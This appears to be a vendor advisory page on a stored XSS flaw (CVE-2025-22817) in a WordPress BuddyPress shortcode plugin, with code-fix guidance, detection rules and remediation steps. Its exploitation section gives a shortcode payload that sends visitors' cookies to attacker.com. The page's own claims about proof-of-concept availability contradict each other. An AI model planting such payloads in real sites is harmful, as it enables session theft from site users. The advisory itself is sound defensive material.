CVE-2025-22817
Executive Summary
CVE-2025-22817 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin BP Profile Shortcodes Extra (slug: bp-profile-shortcodes-extra), developed by Venutius. The vulnerability arises from improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts into the plugin's shortcode parameters. When an administrator or other user views a page containing the compromised shortcode, the script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability affects all versions up to and including 2.6.0. As of this report, no official patch has been released by the vendor, and no public proof-of-concept (PoC) exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the risk remains significant for affected WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Users are advised to monitor the plugin's page for updates and consider disabling or removing the plugin until a patched version is released. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been associated with this CVE.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires authenticated user with contributor role or higher
- User Interaction: Required (UI:R) – victim must view the compromised page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the prevalence of WordPress make this a credible threat for sites using the plugin.
Deep Dive & Mechanics
The vulnerability resides in the bp-profile-shortcodes-extra plugin's shortcode handling. The plugin registers custom shortcodes (e.g., [bp_profile_field], [bp_profile_avatar]) that allow users to display BuddyPress profile data. The plugin fails to sanitize or escape user-supplied attributes passed to these shortcodes.
Attack Flow:
- An authenticated user with contributor-level access or higher creates or edits a post/page containing a vulnerable shortcode.
- The attacker injects a malicious payload into a shortcode attribute, such as:
[bp_profile_field field="user_login" user_id="1" class="xss" onclick="alert('XSS')"] - The plugin processes the shortcode and outputs the attribute value without proper escaping.
- When an administrator or other user views the post/page, the injected JavaScript executes in their browser context.
Root Cause: The plugin uses echo or print to output shortcode attributes without applying WordPress's built-in escaping functions like esc_attr() or esc_html(). This allows arbitrary HTML/JavaScript injection.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and the expected fix.
Vulnerable Code (hypothetical example from plugin):
function bp_profile_shortcode_extra_handler( $atts ) {
$atts = shortcode_atts( array(
'field' => '',
'user_id' => '',
'class' => '',
), $atts );
// Direct output without escaping
echo '<div class="' . $atts['class'] . '">';
// ... profile data output
echo '</div>';
}
Patched Code (expected fix):
function bp_profile_shortcode_extra_handler( $atts ) {
$atts = shortcode_atts( array(
'field' => '',
'user_id' => '',
'class' => '',
), $atts );
// Properly escape the class attribute
echo '<div class="' . esc_attr( $atts['class'] ) . '">';
// ... profile data output
echo '</div>';
}
The fix involves using esc_attr() for HTML attributes and esc_html() for text content to neutralize any injected scripts.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with BuddyPress and BP Profile Shortcodes Extra <= 2.6.0
- Authenticated user account with contributor role or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert a vulnerable shortcode with a malicious payload in an attribute. Example:
[bp_profile_field field="user_login" user_id="1" class="xss" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"] - Publish the post.
- Wait for an administrator to view the post, triggering the XSS payload.
Note: No public exploit code is available. The above is a conceptual demonstration.
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing shortcodes with suspicious attributes (e.g.,
onclick,onmouseover,<script>). - Use Web Application Firewall (WAF) rules to block common XSS patterns in shortcode attributes.
- Review WordPress user activity logs for unusual shortcode usage.
Hardening:
- Disable or remove the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Restrict contributor-level access to trusted users only.
- Use a WordPress security plugin that monitors for vulnerable plugins.
Indicators of Compromise (IOCs)
- File Indicators:
- Plugin directory:
/wp-content/plugins/bp-profile-shortcodes-extra/ - Version file:
/wp-content/plugins/bp-profile-shortcodes-extra/readme.txt(contains version string)
- Plugin directory:
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains (e.g., for cookie exfiltration)
- Unusual POST requests to
/wp-admin/admin-ajax.phpor post creation endpoints
- Log Indicators:
- WordPress debug log entries containing unescaped shortcode attributes
- Web server access logs showing requests to posts with suspicious shortcodes
Detection Engineering
YARA Rule
rule CVE_2025_22817_BP_Profile_Shortcodes_XSS {
meta:
description = "Detects vulnerable BP Profile Shortcodes Extra plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22817"
strings:
$vuln_func1 = "echo '<div class=\"" ascii wide nocase
$vuln_func2 = "echo '<span class=\"" ascii wide nocase
$vuln_func3 = "echo $atts" ascii wide nocase
$shortcode_atts = "shortcode_atts" ascii wide nocase
condition:
all of ($shortcode_atts) and any of ($vuln_func*)
}
Sigma Rule
title: CVE-2025-22817 - Stored XSS via BP Profile Shortcodes Extra
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of stored XSS in BP Profile Shortcodes Extra plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'bp_profile_field'
- 'bp_profile_avatar'
- 'bp_profile_name'
cs-uri-query|re: '(on\w+=|javascript:|<script)'
condition: selection
falsepositives:
- Legitimate use of shortcodes with benign attributes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22817 - Stored XSS BP Profile Shortcodes Extra"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"bp_profile_"; http_client_body; pcre:"/(on\w+=|javascript:|<script)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin via WordPress admin (Plugins > Installed Plugins > Deactivate).
- Remove the plugin if not essential: delete the
/wp-content/plugins/bp-profile-shortcodes-extra/directory. - Audit existing content for posts/pages containing shortcodes from this plugin. Remove or sanitize them.
Long-Term Fix:
- Monitor the plugin's page on WordPress.org for a patched version (>= 2.6.1).
- Apply the patch as soon as it becomes available.
- Consider replacing the plugin with an alternative that is actively maintained and security-audited.
Compensating Controls:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce strict Content Security Policy (CSP) headers.
- Limit user roles and capabilities to reduce the attack surface.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.